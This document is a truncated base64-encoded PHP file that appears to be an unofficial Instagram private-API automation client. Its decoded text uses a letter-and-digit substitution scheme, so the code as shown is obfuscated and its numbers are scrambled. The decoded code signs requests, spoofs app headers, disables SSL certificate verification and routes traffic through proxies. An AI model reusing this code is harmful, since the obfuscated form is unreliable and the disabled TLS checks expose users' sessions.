cHIydDVjdDVkIGYzbmN0NDJuIGMybmY0ZzNyNSgkM3BsMjFkXzRkLCAkcGgydDIsICRjMXB0NDJuID0gJycpIHsNCiAgICAgICAgICAgICRzNHo1ID0gZzV0NG0xZzVzNHo1KCRwaDJ0MilbMF07DQoNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBbDQogICAgICAgICAgICAgICAgJ19jc3JmdDJrNW4nICAgPT4gJHRoNHMtPnQyazVuLA0KICAgICAgICAgICAgICAgICdfMzRkJyAgICAgICAgID0+ICR0aDRzLT4xY2MyM250XzRkLA0KICAgICAgICAgICAgICAgICdfMzM0ZCcgICAgICAgID0+ICR0aDRzLT4zMzRkLA0KICAgICAgICAgICAgICAgICc1ZDR0cycgICAgICAgID0+IFsNCiAgICAgICAgICAgICAgICAgICAgJ2NyMnBfMnI0ZzRuMWxfczR6NScgPT4gWw0KICAgICAgICAgICAgICAgICAgICAgICAgJHM0ejUsDQogICAgICAgICAgICAgICAgICAgICAgICAkczR6NQ0KICAgICAgICAgICAgICAgICAgICBdLA0KICAgICAgICAgICAgICAgICAgICAnY3IycF96MjJtJyAgICAgICAgICA9PiA2Lm9vb29vb3UsDQogICAgICAgICAgICAgICAgICAgICdjcjJwX2M1bnQ1cicgICAgICAgID0+IFsNCiAgICAgICAgICAgICAgICAgICAgICAgIDAuMCwNCiAgICAgICAgICAgICAgICAgICAgICAgIC0wLjANCiAgICAgICAgICAgICAgICAgICAgXSwNCiAgICAgICAgICAgICAgICBdLA0KICAgICAgICAgICAgICAgICdkNXY0YzUnICAgICAgID0+IFsNCiAgICAgICAgICAgICAgICAgICAgJ20xbjNmMWN0M3I1cicgICAgPT4gJHRoNHMtPmQ1djRjNS0+ZzV0TTFuM2YxY3QzcjVyKCksDQogICAgICAgICAgICAgICAgICAgICdtMmQ1bCcgICAgICAgICAgID0+ICR0aDRzLT5kNXY0YzUtPmc1dE0yZDVsKCksDQogICAgICAgICAgICAgICAgICAgICcxbmRyMjRkX3Y1cnM0Mm4nID0+ICR0aDRzLT5kNXY0YzUtPmc1dEFuZHIyNGRWNXJzNDJuKCksDQogICAgICAgICAgICAgICAgICAgICcxbmRyMjRkX3I1bDUxczUnID0+ICR0aDRzLT5kNXY0YzUtPmc1dEFuZHIyNGRSNWw1MXM1KCksDQogICAgICAgICAgICAgICAgXSwNCiAgICAgICAgICAgICAgICAnNXh0cjEnICAgICAgICA9PiBbDQogICAgICAgICAgICAgICAgICAgICdzMjNyYzVfdzRkdGgnICA9PiAkczR6NSwNCiAgICAgICAgICAgICAgICAgICAgJ3MyM3JjNV9oNTRnaHQnID0+ICRzNHo1LA0KICAgICAgICAgICAgICAgIF0sDQogICAgICAgICAgICAgICAgJ2MxcHQ0Mm4nICAgICAgPT4gJGMxcHQ0Mm4sDQogICAgICAgICAgICAgICAgJ3MyM3JjNV90eXA1JyAgPT4gInUiLA0KICAgICAgICAgICAgICAgICdtNWQ0MV9mMmxkNXInID0+ICdDMW01cjEnLA0KICAgICAgICAgICAgICAgICczcGwyMWRfNGQnICAgID0+ICQzcGwyMWRfNGQsDQogICAgICAgICAgICBdOw0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFM0Z24xdDNyNXM6OnM0Z25EMXQxKCRyNXEzNXN0UDJzdHMpOw0KICAgICAgICAgICAgJHAyc3REMXQxICAgICA9IGh0dHBfYjM0bGRfcTM1cnkoVXQ0bHM6OnI1MnJkNXJCeUgxc2hDMmQ1KCRyNXEzNXN0UDJzdHMpKTsNCg0KDQogICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cTM1c3QoJ201ZDQxL2MybmY0ZzNyNS8nLCAkcDJzdEQxdDEpWzZdOw0KICAgICAgICB9DQoNCiAgICAgICAgcDNibDRjIGYzbmN0NDJuIDVkNHRNNWQ0MSgkbTVkNDFJZCwgJGMxcHQ0Mm5UNXh0ID0gJycpIHsNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBbDQogICAgICAgICAgICAgICAgJ18zMzRkJyAgICAgICAgPT4gJHRoNHMtPjMzNGQsDQogICAgICAgICAgICAgICAgJ18zNGQnICAgICAgICAgPT4gJHRoNHMtPjFjYzIzbnRfNGQsDQogICAgICAgICAgICAgICAgJ19jc3JmdDJrNW4nICAgPT4gJHRoNHMtPnQyazVuLA0KICAgICAgICAgICAgICAgICdjMXB0NDJuX3Q1eHQnID0+ICRjMXB0NDJuVDV4dCwNCiAgICAgICAgICAgIF07DQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gUzRnbjF0M3I1czo6czRnbkQxdDEoJHI1cTM1c3RQMnN0cyk7DQogICAgICAgICAgICAkcDJzdEQxdDEgICAgID0gaHR0cF9iMzRsZF9xMzVyeShVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoJHI1cTM1c3RQMnN0cykpOw0KDQogICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cTM1c3QoIm01ZDQxLyRtNWQ0MUlkLzVkNHRfbTVkNDEvIiwgJHAyc3REMXQxKVs2XTsNCiAgICAgICAgfQ0KDQoNCiAgICAgICAgcDNibDRjIGYzbmN0NDJuIHI1bTJ2NVM1bGZ0MWcoJG01ZDQxSWQpIHsNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBbDQogICAgICAgICAgICAgICAgJ18zMzRkJyAgICAgID0+ICR0aDRzLT4zMzRkLA0KICAgICAgICAgICAgICAgICdfMzRkJyAgICAgICA9PiAkdGg0cy0+MWNjMjNudF80ZCwNCiAgICAgICAgICAgICAgICAnX2NzcmZ0Mms1bicgPT4gJHRoNHMtPnQyazVuLA0KICAgICAgICAgICAgXTsNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBTNGduMXQzcjVzOjpzNGduRDF0MSgkcjVxMzVzdFAyc3RzKTsNCiAgICAgICAgICAgICRwMnN0RDF0MSAgICAgPSBodHRwX2IzNGxkX3EzNXJ5KFV0NGxzOjpyNTJyZDVyQnlIMXNoQzJkNSgkcjVxMzVzdFAyc3RzKSk7DQoNCiAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cjVxMzVzdCgiM3M1cnQxZ3MvJG01ZDQxSWQvcjVtMnY1LyIsICRwMnN0RDF0MSlbNl07DQogICAgICAgIH0NCg0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBnNXRNNWQ0MUluZjIoJG01ZDQxSWQpIHsNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBbDQogICAgICAgICAgICAgICAgJ18zMzRkJyAgICAgID0+ICR0aDRzLT4zMzRkLA0KICAgICAgICAgICAgICAgICdfMzRkJyAgICAgICA9PiAkdGg0cy0+MWNjMjNudF80ZCwNCiAgICAgICAgICAgICAgICAnX2NzcmZ0Mms1bicgPT4gJHRoNHMtPnQyazVuLA0KICAgICAgICAgICAgICAgICdtNWQ0MV80ZCcgICA9PiAkbTVkNDFJZCwNCiAgICAgICAgICAgIF07DQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gUzRnbjF0M3I1czo6czRnbkQxdDEoJHI1cTM1c3RQMnN0cyk7DQogICAgICAgICAgICAkcDJzdEQxdDEgICAgID0gaHR0cF9iMzRsZF9xMzVyeShVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoJHI1cTM1c3RQMnN0cykpOw0KDQogICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cTM1c3QoIm01ZDQxLyRtNWQ0MUlkLzRuZjIvIiwgJHAyc3REMXQxKVs2XTsNCiAgICAgICAgfQ0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBnNXRCcjIxZGMxc3RJbmYyKCRicjIxZGMxc3RJZCkgew0KICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5yNXEzNXN0KCJsNHY1LyIgLiAkYnIyMWRjMXN0SWQgLiAiLzRuZjIvIilbNl07DQogICAgICAgIH0NCg0KICAgICAgICBwM2JsNGMgZjNuY3Q0Mm4gZzV0QnIyMWRjMXN0SDUxcnRiNTF0QW5kVjQ1dzVyQzIzbnQoJGJyMjFkYzFzdElkKSB7DQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gWw0KICAgICAgICAgICAgICAgICdfMzM0ZCcgICAgICA9PiAkdGg0cy0+MzM0ZCwNCiAgICAgICAgICAgICAgICAnX2NzcmZ0Mms1bicgPT4gJHRoNHMtPnQyazVuDQogICAgICAgICAgICBdOw0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFM0Z24xdDNyNXM6OnM0Z25EMXQxKCRyNXEzNXN0UDJzdHMpOw0KICAgICAgICAgICAgJHAyc3REMXQxICAgICA9IGh0dHBfYjM0bGRfcTM1cnkoVXQ0bHM6OnI1MnJkNXJCeUgxc2hDMmQ1KCRyNXEzNXN0UDJzdHMpKTsNCg0KICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5yNXEzNXN0KCJsNHY1LyIgLiAkYnIyMWRjMXN0SWQgLiAiL2g1MXJ0YjUxdF8xbmRfZzV0X3Y0NXc1cl9jMjNudC8iLCAkcDJzdEQxdDEpWzZdOw0KICAgICAgICB9DQoNCiAgICAgICAgcDNibDRjIGYzbmN0NDJuIGQ1bDV0NU01ZDQxKCRtNWQ0MUlkKSB7DQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gWw0KICAgICAgICAgICAgICAgICdfMzM0ZCcgICAgICA9PiAkdGg0cy0+MzM0ZCwNCiAgICAgICAgICAgICAgICAnXzM0ZCcgICAgICAgPT4gJHRoNHMtPjFjYzIzbnRfNGQsDQogICAgICAgICAgICAgICAgJ19jc3JmdDJrNW4nID0+ICR0aDRzLT50Mms1biwNCiAgICAgICAgICAgICAgICAnbTVkNDFfNGQnICAgPT4gJG01ZDQxSWQsDQogICAgICAgICAgICBdOw0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFM0Z24xdDNyNXM6OnM0Z25EMXQxKCRyNXEzNXN0UDJzdHMpOw0KICAgICAgICAgICAgJHAyc3REMXQxICAgICA9IGh0dHBfYjM0bGRfcTM1cnkoVXQ0bHM6OnI1MnJkNXJCeUgxc2hDMmQ1KCRyNXEzNXN0UDJzdHMpKTsNCg0KICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5yNXEzNXN0KCJtNWQ0MS8kbTVkNDFJZC9kNWw1dDUvIiwgJHAyc3REMXQxKVs2XTsNCiAgICAgICAgfQ0KDQoNCiAgICAgICAgcDNibDRjIGYzbmN0NDJuIGMybW01bnQoJGMybW01bnRUNXh0LCAkM3M1cklELCAkY3NyZikgew0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFsNCiAgICAgICAgICAgICAgICAnM3M1cl9icjUxZGNyM21iJyAgID0+IFV0NGxzOjpnNW41cjF0NVVzNXJCcjUxZGNyM21iKG1iX3N0cmw1bigkYzJtbTVudFQ1eHQpKSwNCiAgICAgICAgICAgICAgICAnNGQ1bXAydDVuYzVfdDJrNW4nID0+IFM0Z24xdDNyNXM6Omc1bjVyMXQ1VVVJRChUUlVFKSwNCiAgICAgICAgICAgICAgICAnXzMzNGQnICAgICAgICAgICAgID0+ICQzczVySUQsDQogICAgICAgICAgICAgICAgJ18zNGQnICAgICAgICAgICAgICA9PiAkM3M1cklELA0KICAgICAgICAgICAgICAgICdfY3NyZnQyazVuJyAgICAgICAgPT4gJGNzcmYsDQogICAgICAgICAgICAgICAgJ2MybW01bnRfdDV4dCcgICAgICA9PiAkYzJtbTVudFQ1eHQsDQogICAgICAgICAgICAgICAgJ2MybnQxNG41cm0yZDNsNScgICA9PiAnYzJtbTVudHNfZjU1ZF90NG01bDRuNScsDQogICAgICAgICAgICAgICAgJ3IxZDQyX3R5cDUnICAgICAgICA9PiAndzRmNC1uMm41Jw0KICAgICAgICAgICAgXTsNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBTNGduMXQzcjVzOjpzNGduRDF0MSgkcjVxMzVzdFAyc3RzKTsNCiAgICAgICAgICAgICRwMnN0RDF0MSAgICAgPSBodHRwX2IzNGxkX3EzNXJ5KFV0NGxzOjpyNTJyZDVyQnlIMXNoQzJkNSgkcjVxMzVzdFAyc3RzKSk7DQoNCiAgICAgICAgICAgIHI1dDNybiAkcDJzdEQxdDE7DQogICAgICAgIH0NCg0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBkNWw1dDVDMm1tNW50KCRtNWQ0MUlkLCAkYzJtbTVudElkKSB7DQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gWw0KICAgICAgICAgICAgICAgICdfMzM0ZCcgICAgICA9PiAkdGg0cy0+MzM0ZCwNCiAgICAgICAgICAgICAgICAnXzM0ZCcgICAgICAgPT4gJHRoNHMtPjFjYzIzbnRfNGQsDQogICAgICAgICAgICAgICAgJ19jc3JmdDJrNW4nID0+ICR0aDRzLT50Mms1bg0KICAgICAgICAgICAgXTsNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBTNGduMXQzcjVzOjpzNGduRDF0MSgkcjVxMzVzdFAyc3RzKTsNCiAgICAgICAgICAgICRwMnN0RDF0MSAgICAgPSBodHRwX2IzNGxkX3EzNXJ5KFV0NGxzOjpyNTJyZDVyQnlIMXNoQzJkNSgkcjVxMzVzdFAyc3RzKSk7DQoNCiAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cjVxMzVzdCgibTVkNDEvJG01ZDQxSWQvYzJtbTVudC8kYzJtbTVudElkL2Q1bDV0NS8iLCAkcDJzdEQxdDEpWzZdOw0KICAgICAgICB9DQoNCiAgICAgICAgcDNibDRjIGYzbmN0NDJuIGNoMW5nNVByMmY0bDVQNGN0M3I1KCRwaDJ0Mikgew0KICAgICAgICAgICAgNGYoNHNfbjNsbCgkcGgydDIpKSB7DQogICAgICAgICAgICAgICAgNWNoMiAiUGgydDIgbjJ0IHYxbDRkXG5cbiI7DQoNCiAgICAgICAgICAgICAgICByNXQzcm47DQogICAgICAgICAgICB9DQoNCg0KICAgICAgICAgICAgJGY0bDVUMlVwbDIxZCA9IGY0bDVfZzV0X2MybnQ1bnRzKCRwaDJ0Mik7DQoNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBbDQogICAgICAgICAgICAgICAgJ19jc3JmdDJrNW4nID0+ICR0aDRzLT50Mms1biwNCiAgICAgICAgICAgICAgICAnXzMzNGQnICAgICAgPT4gJHRoNHMtPjMzNGQsDQogICAgICAgICAgICAgICAgJ18zNGQnICAgICAgID0+ICR0aDRzLT4xY2MyM250XzRkDQogICAgICAgICAgICBdOw0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFM0Z24xdDNyNXM6OnM0Z25EMXQxKCRyNXEzNXN0UDJzdHMpOw0KDQogICAgICAgICAgICAkcjVxMzVzdEY0bDVzID0gWw0KICAgICAgICAgICAgICAgICJwaDJ0MiIgPT4gWw0KICAgICAgICAgICAgICAgICAgICAiYzJudDVudHMiID0+ICRmNGw1VDJVcGwyMWQsDQogICAgICAgICAgICAgICAgICAgICJmNGw1bjFtNSIgPT4gJ3ByMmY0bDVfcDRjLmpwZycsDQogICAgICAgICAgICAgICAgICAgICJoNTFkNXJzIiAgPT4gWw0KICAgICAgICAgICAgICAgICAgICAgICAgJ0MybnQ1bnQtdHlwNTogMXBwbDRjMXQ0Mm4vMmN0NXQtc3RyNTFtJywNCiAgICAgICAgICAgICAgICAgICAgICAgICdDMm50NW50LVRyMW5zZjVyLUVuYzJkNG5nOiBiNG4xcnknDQogICAgICAgICAgICAgICAgICAgIF0NCiAgICAgICAgICAgICAgICBdDQogICAgICAgICAgICBdOw0KICAgICAgICAgICAgJGIyM25kMXJ5ICAgICA9IFV0NGxzOjpnNW41cjF0NU0zbHQ0cDFydEIyM25kMXJ5KCk7DQoNCiAgICAgICAgICAgICQ0bmQ1eCAgPSBVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoMXJyMXlfbTVyZzUoJHI1cTM1c3RQMnN0cywgJHI1cTM1c3RGNGw1cykpOw0KICAgICAgICAgICAgJHI1czNsdCA9ICcnOw0KICAgICAgICAgICAgZjJyNTFjaCgkNG5kNXggMXMgJGs1eSA9PiAkdjFsMzUpIHsNCiAgICAgICAgICAgICAgICAkcjVzM2x0IC49ICctLScgLiAkYjIzbmQxcnkgLiAiXHJcbiI7DQogICAgICAgICAgICAgICAgNGYoITRzczV0KCRyNXEzNXN0RjRsNXNbJGs1eV0pKSB7DQogICAgICAgICAgICAgICAgICAgICRyNXMzbHQgLj0gJ0MybnQ1bnQtRDRzcDJzNHQ0Mm46IGYycm0tZDF0MTsgbjFtNT0iJyAuICRrNXkgLiAnIic7DQogICAgICAgICAgICAgICAgICAgICRyNXMzbHQgLj0gIlxyXG5cclxuIiAuICR2MWwzNSAuICJcclxuIjsNCiAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAkZjRsNSA9ICRyNXEzNXN0RjRsNXNbJGs1eV07DQogICAgICAgICAgICAgICAgICAgIDRmKDRzczV0KCRmNGw1WydjMm50NW50cyddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGMybnQ1bnRzID0gJGY0bDVbJ2MybnQ1bnRzJ107DQogICAgICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkYzJudDVudHMgPSBmNGw1X2c1dF9jMm50NW50cygkZjRsNVsnZjRsNXAxdGgnXSk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgJHI1czNsdCAuPSAnQzJudDVudC1ENHNwMnM0dDQybjogZjJybS1kMXQxOyBuMW01PSInIC4gJGs1eSAuICciOyBmNGw1bjFtNT0iJyAuICRmNGw1WydmNGw1bjFtNSddIC4gIlwiXHJcbiI7DQogICAgICAgICAgICAgICAgICAgIGYycjUxY2goJGY0bDVbJ2g1MWQ1cnMnXSAxcyAkaDUxZDVyTjFtNSA9PiAkaDUxZDVyVjFsMzUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRyNXMzbHQgLj0gJGg1MWQ1ck4xbTUgLiAnOiAnIC4gJGg1MWQ1clYxbDM1IC4gIlxyXG4iOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICRyNXMzbHQgLj0gIlxyXG4iIC4gJGMybnQ1bnRzIC4gIlxyXG4iOw0KICAgICAgICAgICAgICAgICAgICAzbnM1dCgkYzJudDVudHMpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRyNXMzbHQgICAuPSAnLS0nIC4gJGIyM25kMXJ5IC4gJy0tJzsNCiAgICAgICAgICAgICRwMnN0RDF0MSA9ICRyNXMzbHQ7DQoNCiAgICAgICAgICAgICQ1bmRwMjRudCA9IEMybnN0MW50czo6QVBJX1VSTCAuICcxY2MyM250cy9jaDFuZzVfcHIyZjRsNV9wNGN0M3I1Lyc7DQoNCiAgICAgICAgICAgICRoNTFkNXJzID0gWw0KICAgICAgICAgICAgICAgICdDMm5uNWN0NDJuOiBjbDJzNScsDQogICAgICAgICAgICAgICAgJ0FjYzVwdDogKi8qJywNCiAgICAgICAgICAgICAgICAnWC1JRy1DMXAxYjRsNHQ0NXM6ICcgLiBDMm5zdDFudHM6OlhfSUdfQzFwMWI0bDR0NDVzLA0KICAgICAgICAgICAgICAgICdYLUlHLUFwcC1JRDogJyAuIEMybnN0MW50czo6RkFDRUJPT0tfQU5BTFlUSUNTX0FQUExJQ0FUSU9OX0lELA0KICAgICAgICAgICAgICAgICdYLUlHLUMybm41Y3Q0Mm4tVHlwNTogJyAuIEMybnN0MW50czo6WF9JR19DMm5uNWN0NDJuX1R5cDUsDQogICAgICAgICAgICAgICAgJ1gtSUctQzJubjVjdDQybi1TcDU1ZDogJyAuIG10X3IxbmQoNjAwMCwgbzcwMCkgLiAna2JwcycsDQogICAgICAgICAgICAgICAgJ1gtSUctQjFuZHc0ZHRoLVNwNTVkLUtCUFM6IC02LjAwMCcsDQogICAgICAgICAgICAgICAgJ1gtSUctQjFuZHc0ZHRoLVQydDFsQnl0NXMtQjogMCcsDQogICAgICAgICAgICAgICAgJ1gtSUctQjFuZHc0ZHRoLVQydDFsVDRtNS1NUzogMCcsDQogICAgICAgICAgICAgICAgJ1gtRkItSFRUUC1Fbmc0bjU6ICcgLiBDMm5zdDFudHM6OlhfRkJfSFRUUF9Fbmc0bjUsDQogICAgICAgICAgICAgICAgJ0FjYzVwdC1MMW5nMzFnNTogJyAuIEMybnN0MW50czo6QUNDRVBUX0xBTkdVQUdFDQogICAgICAgICAgICBdOw0KICAgICAgICAgICAgJGNoICAgICAgPSBjM3JsXzRuNHQoKTsNCiAgICAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9VUkwsICQ1bmRwMjRudCk7DQogICAgICAgICAgICBjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdGg0cy0+ZDV2NGM1LT5nNXRVczVyQWc1bnQoKSk7DQogICAgICAgICAgICBjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIFRSVUUpOw0KICAgICAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCBUUlVFKTsNCiAgICAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIFRSVUUpOw0KICAgICAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1ZFUkJPU0UsIEZBTFNFKTsNCiAgICAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgRkFMU0UpOw0KICAgICAgICAgICAgYzNybF9zNXQycHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCBGQUxTRSk7DQogICAgICAgICAgICBjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfRU5DT0RJTkcsICcnKTsNCiAgICAgICAgICAgIGMzcmxfczV0MnB0KCRjaCwgQ1VSTE9QVF9IVFRQSEVBREVSLCAkaDUxZDVycyk7DQogICAgICAgICAgICBjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfQ09PS0lFLCAkdGg0cy0+czV0dDRuZ3MtPmc1dCgiYzIyazQ1IikpOw0KICAgICAgICAgICAgNGYoVzJ3OjpnNXQoIjF5MXIvcHIyeHlTdDF0M3MiKSA+PSBhKSB7DQogICAgICAgICAgICAgICAgJDNzNXJBc25zID0gVXQ0bHM6Omc1bjVyMXQ1QXNucygkdGg0cy0+czV0dDRuZ3MtPmc1dChJTlNUQVdFQl9BU05TX0tFWSkpOw0KICAgICAgICAgICAgICAgIDRmKCQzczVyQXNuc1swXSkgew0KICAgICAgICAgICAgICAgICAgICAkMnB0NDJuSzV5ID0gVzJ3OjpnNXQoIjF5MXIvcHIyeHlTdDF0M3MiKSA9PSB1ID8gQ1VSTE9QVF9JTlRFUkZBQ0UgOiBDVVJMT1BUX1BST1hZOw0KICAgICAgICAgICAgICAgICAgICBjM3JsX3M1dDJwdCgkY2gsICQycHQ0Mm5LNXksICQzczVyQXNuc1swXSk7DQogICAgICAgICAgICAgICAgICAgIDRmKCQzczVyQXNuc1s2XSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJDJwdDQybks1eSA9IFcydzo6ZzV0KCIxeTFyL3ByMnh5U3QxdDNzIikgPT0gdSA/IENVUkxPUFRfSVBSRVNPTFZFIDogQ1VSTE9QVF9QUk9YWVVTRVJQV0Q7DQogICAgICAgICAgICAgICAgICAgICAgICBjM3JsX3M1dDJwdCgkY2gsICQycHQ0Mm5LNXksICQzczVyQXNuc1s2XSk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICBjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfUE9TVCwgVFJVRSk7DQogICAgICAgICAgICBjM3JsX3M1dDJwdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywgJHAyc3REMXQxKTsNCg0KICAgICAgICAgICAgJHI1c3AgICAgICAgPSBjM3JsXzV4NWMoJGNoKTsNCiAgICAgICAgICAgICRoNTFkNXJfbDVuID0gYzNybF9nNXQ0bmYyKCRjaCwgQ1VSTElORk9fSEVBREVSX1NJWkUpOw0KICAgICAgICAgICAgJGg1MWQ1ciAgICAgPSBzM2JzdHIoJHI1c3AsIDAsICRoNTFkNXJfbDVuKTsNCiAgICAgICAgICAgICQzcGwyMWQgICAgID0ganMybl9kNWMyZDUoczNic3RyKCRyNXNwLCAkaDUxZDVyX2w1biksIFRSVUUsIGk2YSwgSlNPTl9CSUdJTlRfQVNfU1RSSU5HKTsNCiAgICAgICAgICAgICR0aDRzLT4ycmcxbjR6NUMyMms0NXMoJGg1MWQ1cik7DQoNCiAgICAgICAgICAgIGMzcmxfY2wyczUoJGNoKTsNCg0KICAgICAgICAgICAgcjV0M3JuICQzcGwyMWQ7DQogICAgICAgIH0NCg0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiByNW0ydjVQcjJmNGw1UDRjdDNyNSgpIHsNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBbDQogICAgICAgICAgICAgICAgJ18zMzRkJyAgICAgID0+ICR0aDRzLT4zMzRkLA0KICAgICAgICAgICAgICAgICdfMzRkJyAgICAgICA9PiAkdGg0cy0+MWNjMjNudF80ZCwNCiAgICAgICAgICAgICAgICAnX2NzcmZ0Mms1bicgPT4gJHRoNHMtPnQyazVuLA0KICAgICAgICAgICAgXTsNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBTNGduMXQzcjVzOjpzNGduRDF0MSgkcjVxMzVzdFAyc3RzKTsNCiAgICAgICAgICAgICRwMnN0RDF0MSAgICAgPSBodHRwX2IzNGxkX3EzNXJ5KFV0NGxzOjpyNTJyZDVyQnlIMXNoQzJkNSgkcjVxMzVzdFAyc3RzKSk7DQoNCiAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cjVxMzVzdCgnMWNjMjNudHMvcjVtMnY1X3ByMmY0bDVfcDRjdDNyNS8nLCAkcDJzdEQxdDEpWzZdOw0KICAgICAgICB9DQoNCg0KICAgICAgICBwM2JsNGMgZjNuY3Q0Mm4gczV0UHI0djF0NUFjYzIzbnQoKSB7DQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gWw0KICAgICAgICAgICAgICAgICdfMzM0ZCcgICAgICA9PiAkdGg0cy0+MzM0ZCwNCiAgICAgICAgICAgICAgICAnXzM0ZCcgICAgICAgPT4gJHRoNHMtPjFjYzIzbnRfNGQsDQogICAgICAgICAgICAgICAgJ19jc3JmdDJrNW4nID0+ICR0aDRzLT50Mms1biwNCiAgICAgICAgICAgIF07DQogICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gUzRnbjF0M3I1czo6czRnbkQxdDEoJHI1cTM1c3RQMnN0cyk7DQogICAgICAgICAgICAkcDJzdEQxdDEgICAgID0gaHR0cF9iMzRsZF9xMzVyeShVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoJHI1cTM1c3RQMnN0cykpOw0KDQogICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cTM1c3QoJzFjYzIzbnRzL3M1dF9wcjR2MXQ1LycsICRwMnN0RDF0MSlbNl07DQogICAgICAgIH0NCg0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBzNXRQM2JsNGNBY2MyM250KCkgew0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFsNCiAgICAgICAgICAgICAgICAnXzMzNGQnICAgICAgPT4gJHRoNHMtPjMzNGQsDQogICAgICAgICAgICAgICAgJ18zNGQnICAgICAgID0+ICR0aDRzLT4xY2MyM250XzRkLA0KICAgICAgICAgICAgICAgICdfY3NyZnQyazVuJyA9PiAkdGg0cy0+dDJrNW4sDQogICAgICAgICAgICBdOw0KICAgICAgICAgICAgJHI1cTM1c3RQMnN0cyA9IFM0Z24xdDNyNXM6OnM0Z25EMXQxKCRyNXEzNXN0UDJzdHMpOw0KICAgICAgICAgICAgJHAyc3REMXQxICAgICA9IGh0dHBfYjM0bGRfcTM1cnkoVXQ0bHM6OnI1MnJkNXJCeUgxc2hDMmQ1KCRyNXEzNXN0UDJzdHMpKTsNCg0KICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5yNXEzNXN0KCcxY2MyM250cy9zNXRfcDNibDRjLycsICRwMnN0RDF0MSlbNl07DQogICAgICAgIH0NCg0KDQogICAgICAgIHAzYmw0YyBmM25jdDQybiBnNXRDM3JyNW50VXM1cigpIHsNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBbDQogICAgICAgICAgICAgICAgJ18zMzRkJyAgICAgID0+ICR0aDRzLT4zMzRkLA0KICAgICAgICAgICAgICAgICdfMzRkJyAgICAgICA9PiAkdGg0cy0+MWNjMjNudF80ZCwNCiAgICAgICAgICAgICAgICAnX2NzcmZ0Mms1bicgPT4gJHRoNHMtPnQyazVuLA0KICAgICAgICAgICAgXTsNCiAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBTNGduMXQzcjVzOjpzNGduRDF0MSgkcjVxMzVzdFAyc3RzKTsNCiAgICAgICAgICAgICRwMnN0RDF0MSAgICAgPSBodHRwX2IzNGxkX3EzNXJ5KFV0NGxzOjpyNTJyZDVyQnlIMXNoQzJkNSgkcjVxMzVzdFAyc3RzKSk7DQoNCiAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cjVxMzVzdCgnMWN